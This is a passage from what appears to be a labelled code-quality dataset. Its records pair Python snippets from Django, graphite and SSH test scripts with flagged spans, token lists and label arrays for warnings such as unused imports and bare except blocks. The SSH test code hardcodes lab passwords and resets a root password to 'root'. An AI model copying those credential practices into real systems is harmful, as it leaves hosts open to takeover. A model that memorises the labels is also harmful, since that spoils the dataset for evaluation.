pygments import highlight\nfrom pygments.lexers import get_lexer_by_name\nfrom pygments.formatters import HtmlFormatter\n\n\n\n\n\n\n\n\n\ncomment_was_posted.connect(email_owner_on_comment)\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "md5", "start_line": 16, "start_column": 7, "end_line": 16, "end_column": 10 } ]
[]
1
true
[ "[CLS]_", "Import_", "of_", "deprecated_", "module_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "authenticate_", ",_", "login_", "as_", "auth", "\\u", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "comments_", "._", "signals_", "import_", "comment", "\\u", "was", "\\u", "poste", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Response_", ",_", "Http", "Respons", "e", "Redirect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "decorators_", "import_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "render", "\\u", "to", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tagging", "_", "._", "models_", "import_", "Tag_", ",_", "Tagg", "ed", "Item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Request", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "snip", "t_", "._", "snippet_", "._", "models_", "import_", "Snippet", "_", ",_", "Refer", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "html_", "import_", "escape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "import_", "simplejson_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tagging", "_", "._", "utils_", "import_", "get", "\\u", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "snip", "t_", "._", "snippet_", "._", "utils_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "settings_", "import_", "DEBUG_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "snip", "t_", "._", "forms_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "md5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pygments_", "import_", "highlight_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygments_", "._", "lexer", "s_", "import_", "get", "\\u", "lexer", "\\u", "by", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pygments_", "._", "formatters_", "import_", "Ht", "ml", "Formatter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "comment", "\\u", "was", "\\u", "poste", "d_", "._", "connect_", "(_", "email", "\\u", "owner", "\\u", "on", "\\u", "comment_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
bretth/woven/tests/lin.py
[ { "content": "def teardown_disable_root():\n local('rm -rf .woven')\n with settings(host_string='[email protected]:22',user='woven',password='woven'):\n run('echo %s:%s > /tmp/root_user.txt'% ('root','root'))\n sudo('chpasswd < /tmp/root_user.txt')\n sudo('rm -rf /tmp/root_user.txt')\n print \"Closing connection %s\"% env.host_string\n #print connections\n connections[env.host_string].close()\n try:\n connections['[email protected]:22'].close()\n except: pass\n original_username = 'woven'\n (olduser,host,port) = normalize(env.host_string)\n host_string=join_host_strings('root',host,'22')\n with settings(host_string=host_string, password='root'):\n sudo('deluser --remove-home '+original_username)", "metadata": "root.teardown_disable_root", "header": "['module', '___EOS___']", "index": 24 }, { "content": "def test_lin_change_ssh_port():\n\n #automate\n env.ROOT_PASSWORD = 'root'\n \n #setup\n host_state_dir = os.path.join(os.getcwd(),'.woven')\n host_state_path = os.path.join(host_state_dir,'example.com')\n if not os.path.exists(host_state_dir):\n os.mkdir(host_state_dir)\n open(host_state_path,'w').close()\n #test\n print \"test_change_ssh_port\"\n with settings(user='root',password=env.ROOT_PASSWORD):\n change_ssh_port()\n print \"test logging in on the new port\"\n \n with settings(host_string='[email protected]:10022',user='root',password=env.ROOT_PASSWORD):\n try:\n run('echo')\n except:\n print \"\\nTEST: change_ssh_port FAILED\"\n return\n print 'CHANGE PASSED'\n with settings(user='root',password=env.ROOT_PASSWORD):\n result = change_ssh_port()\n print result\n assert result \n #teardown\n with settings(host_string='[email protected]:10022', user='root',password=env.ROOT_PASSWORD):\n sed('/etc/ssh/sshd_config','Port 10022','Port 22',use_sudo=True)\n sudo('/etc/init.d/ssh restart')\n local('rm -rf .woven')\n return", "metadata": "root.test_lin_change_ssh_port", "header": "['module', '___EOS___']", "index": 59 } ]
[ { "span": "except: ", "start_line": 35, "start_column": 8, "end_line": 35, "end_column": 15 }, { "span": "except:", "start_line": 79, "start_column": 8, "end_line": 79, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "down", "\\u", "disable", "\\u", "root_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local_", "(_", "'", "rm", " ", "-", "rf", " ", ".", "wo", "ven", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "settings_", "(_", "host", "\\u", "string_", "=_", "'", "wo", "ven", "@", "192", ".1", "68.", "188", ".1", "0", ":", "2", "2", "'_", ",_", "user_", "=_", "'", "wo", "ven", "'_", ",_", "password_", "=_", "'", "wo", "ven", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "'", "echo", " ", "%", "s", ":", "%", "s", " ", ">", " ", "/", "tmp", "/", "root", "\\u", "user", ".", "txt", "'_", "%_", "(_", "'", "root", "'_", ",_", "'", "root", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sudo_", "(_", "'", "ch", "passw", "d", " ", "<", " ", "/", "tmp", "/", "root", "\\u", "user", ".", "txt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sudo_", "(_", "'", "rm", " ", "-", "rf", " ", "/", "tmp", "/", "root", "\\u", "user", ".", "txt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Clos", "ing", " ", "connecti", "on", " ", "%", "s", "\"_", "%_", "env_", "._", "host", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "connections_", "\\u\\u\\uNL\\u\\u\\u_", "connections_", "[_", "env_", "._", "host", "\\u", "string_", "]_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "connections_", "[_", "'", "wo", "ven", "@", "example", ".", "com", ":", "2", "2", "'_", "]_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "original", "\\u", "username_", "=_", "'", "wo", "ven", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "old", "user_", ",_", "host_", ",_", "port_", ")_", "=_", "normalize_", "(_", "env_", "._", "host", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "string_", "=_", "join", "\\u", "host", "\\u", "strings_", "(_", "'", "root", "'_", ",_", "host_", ",_", "'", "2", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "settings_", "(_", "host", "\\u", "string_", "=_", "host", "\\u", "string_", ",_", "password_", "=_", "'", "root", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sudo_", "(_", "'", "del", "user", " ", "--", "remove", "-", "home", " ", "'_", "+_", "original", "\\u", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lin", "\\u", "change", "\\u", "ssh", "\\u", "port_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "automat", "e_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "env_", "._", "ROO", "T", "\\u", "PASSWORD_", "=_", "'", "root", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "setup_", "\\u\\u\\uNL\\u\\u\\u_", "host", "\\u", "state", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "getcwd_", "(_", ")_", ",_", "'.", "wo", "ven", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "state", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "host", "\\u", "state", "\\u", "dir_", ",_", "'", "example", ".", "com", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "host", "\\u", "state", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "host", "\\u", "state", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "open_", "(_", "host", "\\u", "state", "\\u", "path_", ",_", "'", "w", "'_", ")_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "test_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"", "test\\u", "change", "\\u", "ssh", "\\u", "port", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "settings_", "(_", "user_", "=_", "'", "root", "'_", ",_", "password_", "=_", "env_", "._", "ROO", "T", "\\u", "PASSWORD_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "change", "\\u", "ssh", "\\u", "port_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "test", " ", "logg", "ing", " ", "in", " ", "on", " ", "the", " ", "new", " ", "port", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "settings_", "(_", "host", "\\u", "string_", "=_", "'", "root", "@", "192", ".1", "68.", "188", ".1", "0", ":", "1002", "2", "'_", ",_", "user_", "=_", "'", "root", "'_", ",_", "password_", "=_", "env_", "._", "ROO", "T", "\\u", "PASSWORD_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "run_", "(_", "'", "echo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\\\\", "n", "TEST", ":", " ", "change", "\\u", "ssh", "\\u", "port", " ", "FAIL", "ED", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "CHANGE", " ", "PASSED", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "settings_", "(_", "user_", "=_", "'", "root", "'_", ",_", "password_", "=_", "env_", "._", "ROO", "T", "\\u", "PASSWORD_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "change", "\\u", "ssh", "\\u", "port_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "teardown_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "settings_", "(_", "host", "\\u", "string_", "=_", "'", "root", "@", "192", ".1", "68.", "188", ".1", "0", ":", "1002", "2", "'_", ",_", "user_", "=_", "'", "root", "'_", ",_", "password_", "=_", "env_", "._", "ROO", "T", "\\u", "PASSWORD_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sed_", "(_", "'/", "etc", "/", "ssh", "/", "ssh", "d\\u", "config", "'_", ",_", "'", "Port", " ", "1002", "2", "'_", ",_", "'", "Port", " ", "2", "2", "'_", ",_", "use", "\\u", "sudo_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sudo_", "(_", "'/", "etc", "/", "init", ".", "d", "/", "ssh", " ", "restart", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "local_", "(_", "'", "rm", " ", "-", "rf", " ", ".", "wo", "ven", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Wrong number of arguments in a call
azoft-dev-team/imagrium/env/Lib/test/test_unittest.py
[ { "content": " def test_run__requires_result(self):\n suite = unittest.TestSuite()\n\n try:\n suite.run()\n except TypeError:\n pass\n else:\n self.fail(\"Failed to raise TypeError\")", "metadata": "root.Test_TestSuite.test_run__requires_result", "header": "['class', 'Test_TestSuite', '(', 'TestCase', ',', 'TestEquality', ')', ':', '___NEWLINE___', '___NL___', '### Set up attributes needed by inherited tests', '___NL___', '################################################################', '___NL___', '___NL___', '# Used by TestEquality.test_eq', '___NL___', '___EOS___']", "index": 1403 } ]
[ { "span": "suite.run()", "start_line": 1407, "start_column": 12, "end_line": 1407, "end_column": 23 } ]
[]
1
false
[ "[CLS]_", "Wro", "ng_", "number_", "of_", "arguments_", "in_", "a_", "call_", "[SEP]_", "class_", "Test", "\\u", "Test", "Suite_", "(_", "Test", "Case_", ",_", "Test", "Equali", "ty_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "Set", " ", "up", " ", "attribute", "s", " ", "need", "ed", " ", "by", " ", "inherited", " ", "tests_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "#########", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "ed", " ", "by", " ", "Test", "Equali", "ty", ".", "test\\u", "eq_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "run", "\\u\\u", "require", "s", "\\u", "result_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "suite_", "=_", "unittest_", "._", "Test", "Suite_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "suite_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Fail", "ed", " ", "to", " ", "raise", " ", "Type", "Error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
tmm1/graphite/webapp/graphite/browser/views.py
[ { "content": "\"\"\"Copyright 2008 Orbitz WorldWide\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\"\"\"\n\nimport re\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponse\nfrom django.conf import settings\nfrom graphite.account.models import Profile\nfrom graphite.util import getProfile, getProfileByUsername, defaultUser, json\nfrom graphite.logger import log\nimport hashlib\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def header(request):\n \"View for the header frame of the browser UI\"\n context = {}\n context['user'] = request.user\n context['profile'] = getProfile(request)\n context['documentation_url'] = settings.DOCUMENTATION_URL\n context['login_url'] = settings.LOGIN_URL\n return render_to_response(\"browserHeader.html\", context)", "metadata": "root.header", "header": "['module', '___EOS___']", "index": 29 }, { "content": "def browser(request):\n \"View for the top-level frame of the browser UI\"\n context = {\n 'queryString' : request.GET.urlencode(),\n 'target' : request.GET.get('target')\n }\n if context['queryString']:\n context['queryString'] = context['queryString'].replace('#','%23')\n if context['target']:\n context['target'] = context['target'].replace('#','%23') #js libs terminate a querystring on #\n return render_to_response(\"browser.html\", context) ", "metadata": "root.browser", "header": "['module', '___EOS___']", "index": 39 }, { "content": "def search(request):\n query = request.POST['query']\n if not query:\n return HttpResponse(\"\")\n\n patterns = query.split()\n regexes = [re.compile(p,re.I) for p in patterns]\n def matches(s):\n for regex in regexes:\n if regex.search(s):\n return True\n return False\n\n results = []\n\n index_file = open(settings.INDEX_FILE)\n for line in index_file:\n if matches(line):\n results.append( line.strip() )\n if len(results) >= 100:\n break\n\n index_file.close()\n result_string = ','.join(results)\n return HttpResponse(result_string, mimetype='text/plain')", "metadata": "root.search", "header": "['module', '___EOS___']", "index": 52 }, { "content": "def myGraphLookup(request):\n \"View for My Graphs navigation\"\n profile = getProfile(request,allowDefault=False)\n assert profile\n\n nodes = []\n leafNode = {\n 'allowChildren' : 0,\n 'expandable' : 0,\n 'leaf' : 1,\n }\n branchNode = {\n 'allowChildren' : 1,\n 'expandable' : 1,\n 'leaf' : 0,\n }\n\n try:\n path = str( request.GET['path'] )\n\n if path:\n if path.endswith('.'):\n userpath_prefix = path\n\n else:\n userpath_prefix = path + '.'\n\n else:\n userpath_prefix = \"\"\n\n matches = [ graph for graph in profile.mygraph_set.all().order_by('name') if graph.name.startswith(userpath_prefix) ]\n\n log.info( \"myGraphLookup: username=%s, path=%s, userpath_prefix=%s, %ld graph to process\" % (profile.user.username, path, userpath_prefix, len(matches)) )\n branch_inserted = set()\n leaf_inserted = set()\n\n for graph in matches: #Now let's add the matching graph\n isBranch = False\n dotPos = graph.name.find( '.', len(userpath_prefix) )\n\n if dotPos >= 0:\n isBranch = True\n name = graph.name[ len(userpath_prefix) : dotPos ]\n if name in branch_inserted: continue\n branch_inserted.add(name)\n\n else:\n name = graph.name[ len(userpath_prefix): ]\n if name in leaf_inserted: continue\n leaf_inserted.add(name)\n\n node = {'text' : str(name) }\n\n if isBranch:\n node.update( { 'id' : str(userpath_prefix + name + '.') } )\n node.update(branchNode)\n\n else:\n m = hashlib.md5()\n m.update(name)\n md5 = m.hexdigest() \n node.update( { 'id' : str(userpath_prefix + md5), 'graphUrl' : str(graph.url) } )\n node.update(leafNode)\n\n nodes.append(node)\n\n except:\n log.exception(\"browser.views.myGraphLookup(): could not complete request.\")\n\n if not nodes:\n no_graphs = { 'text' : \"No saved graphs\", 'id' : 'no-click' }\n no_graphs.update(leafNode)\n nodes.append(no_graphs)\n\n return json_response(nodes, request)", "metadata": "root.myGraphLookup", "header": "['module', '___EOS___']", "index": 79 }, { "content": "def userGraphLookup(request):\n \"View for User Graphs navigation\"\n user = request.GET.get('user')\n path = request.GET['path']\n\n if user:\n username = user\n graphPath = path[len(username)+1:]\n elif '.' in path:\n username, graphPath = path.split('.', 1)\n else:\n username, graphPath = path, None\n\n nodes = []\n\n branchNode = {\n 'allowChildren' : 1,\n 'expandable' : 1,\n 'leaf' : 0,\n }\n leafNode = {\n 'allowChildren' : 0,\n 'expandable' : 0,\n 'leaf' : 1,\n }\n\n try:\n\n if not username:\n profiles = Profile.objects.exclude(user=defaultUser)\n\n for profile in profiles:\n if profile.mygraph_set.count():\n node = {\n 'text' : str(profile.user.username),\n 'id' : str(profile.user.username)\n }\n\n node.update(branchNode)\n nodes.append(node)\n\n else:\n profile = getProfileByUsername(username)\n assert profile, \"No profile for username '%s'\" % username\n\n if graphPath:\n prefix = graphPath.rstrip('.') + '.'\n else:\n prefix = ''\n\n matches = [ graph for graph in profile.mygraph_set.all().order_by('name') if graph.name.startswith(prefix) ]\n inserted = set()\n\n for graph in matches:\n relativePath = graph.name[ len(prefix): ]\n nodeName = relativePath.split('.')[0]\n\n if nodeName in inserted:\n continue\n inserted.add(nodeName)\n\n if '.' in relativePath: # branch\n node = {\n 'text' : str(nodeName),\n 'id' : str(username + '.' + prefix + nodeName + '.'),\n }\n node.update(branchNode)\n else: # leaf\n m = hashlib.md5()\n m.update(nodeName)\n md5 = m.hexdigest() \n\n node = {\n 'text' : str(nodeName ),\n 'id' : str(username + '.' + prefix + md5),\n 'graphUrl' : str(graph.url),\n }\n node.update(leafNode)\n\n nodes.append(node)\n\n except:\n log.exception(\"browser.views.userLookup(): could not complete request for %s\" % username)\n\n if not nodes:\n no_graphs = { 'text' : \"No saved graphs\", 'id' : 'no-click' }\n no_graphs.update(leafNode)\n nodes.append(no_graphs)\n\n return json_response(nodes, request)", "metadata": "root.userGraphLookup", "header": "['module', '___EOS___']", "index": 155 }, { "content": "def json_response(nodes, request=None):\n if request:\n jsonp = request.REQUEST.get('jsonp', False)\n else:\n jsonp = False\n #json = str(nodes) #poor man's json encoder for simple types\n json_data = json.dumps(nodes)\n if jsonp:\n response = HttpResponse(\"%s(%s)\" % (jsonp, json_data),mimetype=\"text/javascript\")\n else:\n response = HttpResponse(json_data,mimetype=\"application/json\")\n response['Pragma'] = 'no-cache'\n response['Cache-Control'] = 'no-cache'\n return response", "metadata": "root.json_response", "header": "['module', '___EOS___']", "index": 247 }, { "content": "def any(iterable): #python2.4 compatibility\n for i in iterable:\n if i:\n return True\n return False", "metadata": "root.any", "header": "['module', '___EOS___']", "index": 263 } ]
[ { "span": "import cPickle as pickle", "start_line": 24, "start_column": 2, "end_line": 24, "end_column": 26 }, { "span": "import pickle", "start_line": 26, "start_column": 2, "end_line": 26, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "Copy", "right", " ", "2008", " ", "Orbit", "z", " ", "Wor", "ld", "Wide", "\\", "10", ";", "\\", "10", ";", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "\\", "10", ";", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", ".", "\\", "10", ";", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0", "\\", "10", ";", "\\", "10", 